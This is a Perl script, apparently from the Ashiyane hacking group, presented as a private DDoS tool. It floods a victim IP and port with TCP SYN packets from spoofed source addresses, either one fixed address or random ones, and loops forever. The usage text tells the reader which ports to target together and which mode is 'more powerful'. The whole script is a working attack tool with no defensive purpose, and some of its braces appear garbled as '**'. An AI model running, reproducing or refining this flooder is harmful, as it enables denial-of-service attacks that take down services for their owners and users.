#!/usr/bin/perl
#By Ashiyane Digital Security Team
#Coded By Nitrojen26
use Net::RawIP;
system('clear');
$i = 0;
if($#ARGV == 2)**
($src,$dst,$port) = @ARGV;
   $a = new Net::RawIP;
    print q,\nStarting Opt 1:\n,;
   while(1==1) **
      $src_port = rand(65534)+1;
      $a->set({ip => {saddr => $src,daddr => $dst},tcp => {source => $src_port,dest => $port, syn => 1}});
      $a->send;
      $i++;
      print "$i ".'-'." Syn (Src IP = $src ,Src Port = $src_port): => Sent\n";
   }
}
if($#ARGV == 1)**
($dst,$port) = @ARGV;
   $a = new Net::RawIP;
    print q,\nStarting Opt 2:\n,;
   while(1==1) **
    $src = int(rand(192)+1).'.'.int(rand(192)+1).'.'.int(rand(100)+1).'.'.int(rand(50));
      $src_port = int(rand(65534)+1);
      $a->set({ip => {saddr => $src,daddr => $dst},tcp => {source => $src_port,dest => $port, syn => 1}});
      $a->send;
      $i++;
      print "$i ".'-'." Syn (Src IP =  $src , Src Port = $src_port): => Sent\n";
}
}
else{
print qq=
Ashiyane Priv8 Ddoser...
Coded By Nitrojen26...

Usage:
Opt 1 :(Stable Spoofed IP)
# - perl APD.pl [Spoofed IP Address & Source[Fake]] [Victim IP Address & Dest[Real]] [Victim Port]
Opt 2 :(Random Spoofed IP(More PowerFull))
# - perl APD.pl [Victim IP Address[Real]] [Victim Port]

Information For More Better Dosing:

1-Use These Ports For Ddos Together :  25 , 21 , 110 , 143 , 80 
2-Use Opt 2
=;
}